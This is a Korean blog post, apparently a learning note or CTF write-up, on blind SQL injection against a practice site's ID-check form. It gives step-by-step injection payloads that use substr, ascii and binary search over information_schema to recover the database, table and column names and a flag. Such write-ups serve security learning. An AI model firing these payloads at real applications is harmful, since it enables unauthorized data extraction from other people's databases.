Blind SQL Injection Process

DATE : 2023/12/09

UNION, Error Based SQLi와 마찬가지로

Blind SQL Injection을 수행하는 절차에 대해 정리해볼까 한다.

1] SQL Injection Point 찾기

ID 중복 체크를 하는 사이트에

normaltic' and '1'='1

항상 참인 조건을 주입해보면 "normaltic"만 입력했을 때와 동일한 결과를 볼 수 있다.

이는 SQL을 주입했음에도 정상적으로 동작했음을 의미하기에

일단은 SQL Injection을 수행할 수 있다는 판단을 내릴 수 있다.

하지만 우리가 이번에 해볼 건, Blind SQLi이기 때문에 참과 거짓을 구별할 수 있는 응답이 필요하다.

이를 확인하기 위해서

normaltic' and '1'='2

이번엔 항상 거짓이 되는 SQL을 주입해보았다.

결과를 보면 위와 다른 문구가 나오는 걸 볼 수 있다!

이로써 우리가 주입한 SQL의 결과가 참인지 거짓인지 구분할 수 있음을 확인했다.

2] select문 실행 여부 파악하기

Blind SQL Injection을 수행할 수 있음을 확인했으니

이번엔 우리가 주입한 select문이 정상적으로 동작하는 지 확인해보자.

normaltic' and ((select 'hanhxx')='hanhxx') and '1'='1

select문이 실행되면 'hanhxx'는 'hanhxx'이다 라는 조건을 만들게 되고

결과는 True이기 때문에 "존재하는 아이디입니다" 문구가 나올 거라 예측할 수 있다.

결과를 확인해보면, 예상한 대로 조건이 True가 되었기 때문에

주입한 SELECT문이 실행되었음을 알 수 있다.

3] 공격 Query 만들기

이제 본격적으로 데이터를 추출하기 위한 Query를 만들어보자!

Blind SQLi의 경우에는 SELECT문 결과에 대한 조건이 공격 Query에 포함되어야 한다.

이때 조건을 만들기 위해 사용되는 대표적인 함수가 substr이다.

normaltic' and (substr((select 'hanhxx'),1,1)='h') and '1'='1

만약 이와 같은 Query를 실행하게 되면

select 'hanhxx' => 'hanhxx'

우선적으로 SELECT문이 실행되면서 'hanhxx'가 결과로 나오게 된다.

substr('hanhxx',1,1)

그 다음에 substr 함수가 실행되는데 이 함수는 보이는 바와 같이 3개의 인자 값을 갖는다.

substr(data, index, num)

첫 번째 인자로 데이터를 넣어주면 index를 시작으로 num개의 문자를 잘라오는 기능을 수행한다.

이때 index는 1부터 시작하기 때문에'hanhxx'에서 'han'만 뽑아오고 싶다면

substr('hanhxx',1,3)

이와 같이 작성하면 된다.

다시 돌아와서, 이 내용을 바탕으로 아래의 결과를 예측해보면

substr('hanhxx',1,1) => 'h'

알파벳 h가 나올 거라 예상할 수 있다.

> normaltic' and (substr((select 'hanhxx'),1,1) = 'h') and '1'='1

> normaltic' and (substr('hanhxx',1,1) = 'h') and '1'='1

> normaltic' and ('h' = 'h') and '1'='1

그러면 결과적으로 and 연산자의 결과가 True가 되기 때문에 "존재하는 아이디" 문구를 보게 될 것이다!

직접 실행해보면, 결과는 예상한 대로이다.

그렇다면 이제 SELECT문 자리에 실행하고 싶은 Query를 작성해주면 될 것!

Query > normaltic' and (substr((__SELECT__),1,1) = 'ALPHA') and '1'='1

4] DB 이름 알아내기

이제 본격적으로 정보 수집을 해보자! 제일 먼저 알아야 하는 건 DB 이름이다.

select database()

DB 이름을 알려주는 Query는 위와 같다.

이 SELECT문을 위에서 미리 작성해둔 공격 Query에 넣어주면 된다.

normaltic' and (substr((select database()),1,1) = 'a') and '1'='1

이 Query는 DB 이름의 첫 번째 글자가 a인지 물어보는 질의이다.

즉, 우리는 첫 번째 글자를 알아내기 위해서 이와 같은 형태의 질문을 여러 번 던져야 한다는 것..

이렇게 하면 모든 문자를 한 번씩 넣어봐야 한다. 흠.. 범위를 좁히기 위해 좋은 방법이 없을까??

우리가 실행하는 Query는 지금 문자 하나를 잘라와서 비교하는 식으로 진행된다.

이때 문자는 숫자로도 표현할 수 있는데 이를, 아스키 코드 ASCII code 라고 한다.

우리가 잘라온 문자를 숫자로 바꾼 후

그 숫자가 특정 숫자보다 큰 지, 혹은 작은 지 물어보면 문자의 범위를 확 줄일 수 있게 된다.

문자를 아스키 코드 값으로 바꾸는 함수는 ascii()이다.

normaltic' and (ascii(substr((select database()),1,1)) > 70) and '1'='1

DB 이름의 첫 번째 문자가 아스키 코드로 70보다 큰 값이냐! 물어보면

결과가 참임을 확인할 수 있다.

즉, DB 이름의 첫 번째 문자는 70보다 큰 아스키 코드 값을 갖는다는 걸 알아냈다.

그럼 다음으로 70과 대략 120 사이의 값을 넣어 범위를 반으로 좁혀보자.

normaltic' and (ascii(substr((select database()),1,1)) > 100) and '1'='1

이번에 100보다 큰 지 물어보았다.

결과는 거짓!

이 말은 즉, 아스키 코드로 70보다 크고 100보다 작은 범위의 값이라는 의미가 된다.

이런 식으로 전체 범위의 중간 값을 넣어 범위를 좁혀나가는 방식을 이진 탐색이라 한다.

이진 탐색을 통해 범위를 좁혀나가다 보면

98보다 크지 않으면서

97보다 큰 값이 DB의 첫 번째 글자임을 알아낼 수 있다.

동일한 방식으로

normaltic' and (ascii(substr((select database()),2,1)) > 70) and '1'='1

두 번째 글자도 알아내고

normaltic' and (ascii(substr((select database()),3,1)) > 70) and '1'='1

세 번째 글자도 알아내다 보면!

98 108 105 110 100 83 113 108 105

DB 이름의 아스키 코드 값을 전부 알아낼 수 있다.

이를 문자로 다시 바꾸면

DB_NAME : blindSqli

DB 이름을 알 수 있다. 😏

5] Table 이름 알아내기

DB 이름을 알아낸 방법과 동일하게 Table name, column 이름을 알아내야 한다.

공격 Query는 동일한 상태에서 실행할 select문만 수정해주면 된다.

select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1

Table의 경우에는 여러 개가 한 DB에 들어있을 수 있기 때문에 limit를 사용해준다!

첫 번째 Table의 첫 번째 문자 알아내기

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1)) > 70) and '1'='1

첫 번째 Table의 두 번째 문자 알아내기

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),2,1)) > 70) and '1'='1

...

Table name : 102 108 97 103 84 97 98 108 101
> flagTable

6] column 이름 알아내기

Table 이름이 flagTable임을 알았으니, 어떤 column으로 구성되어있는 지 확인해보자!

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1)) > 70) and '1'='1

이번에도 하나 하나.. 😫 하다 보면.. (콜록콜록)

first column name : 105 100 120
> idx

두 번째 column 이름 알아내기

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flagTable' limit 1,1),1,1)) > 70) and '1'='1

second column name : 102 108 97 103
> flag

두 번째 column 이름이 flag라는 걸 알아냈다!!

이제 거의 끝이 보인다..!! ☺️

7] data 추출하기

앞에서 Table 이름이 flagTable, column 이름이 flag 임을 알아냈으니

select flag from flagTable

데이터를 추출하기 위한 SELECT문은 이와 같이 작성할 수 있을 것이다.

normaltic' and (ascii(substr((select flag from flagTable),1,1)) > 70) and '1'='1

자.. 마지막 노동을 시작해보자.. flag column 값의 첫 번째 문자부터 binary search를 시작하지.

두 번째 문자 알아내기

normaltic' and (ascii(substr((select flag from flagTable),2,1)) > 70) and '1'='1

세 번째 문자

normaltic' and (ascii(substr((select flag from flagTable),3,1)) > 70) and '1'='1

...

flag ascii code > 
115 101 103 102 97 117 108 116 123 99 111 110 103 114 97 116 122 95 102 105 114 115 116 98 108 105 110 100 115 113 108 105 125

: segfault{__flag__}

이번 flag는 갑자기 왜 이렇게 긴 거 같은지..

아무튼!! 중요한 건 화면에 SQL의 결과가 나오지 않더라도 우리는

원하는 정보를 추출할 수 있음을 확인하였다!!

다른 유형의 SQLi와 비교하면 반복 작업이 필요하지만 그 만큼 직관적으로 이해하기는 더 쉬운 거 같다.

이렇게 해서 UNION, Error Based, Blind SQL injection까지 다루어보았다!!

어떤 종류의 SQL Injection을 수행하든지 전반적인 Query는 비슷하기 때문에 여기에 집중하기 보다는

SQL Injection을 수행할 수 있는지! 어떤 유형의 SQL Injection을 수행하는 게 적절할 지

확인하는 과정이 꼭 선행되어야 한다는 점을 잊지 말자. 👍

Last updated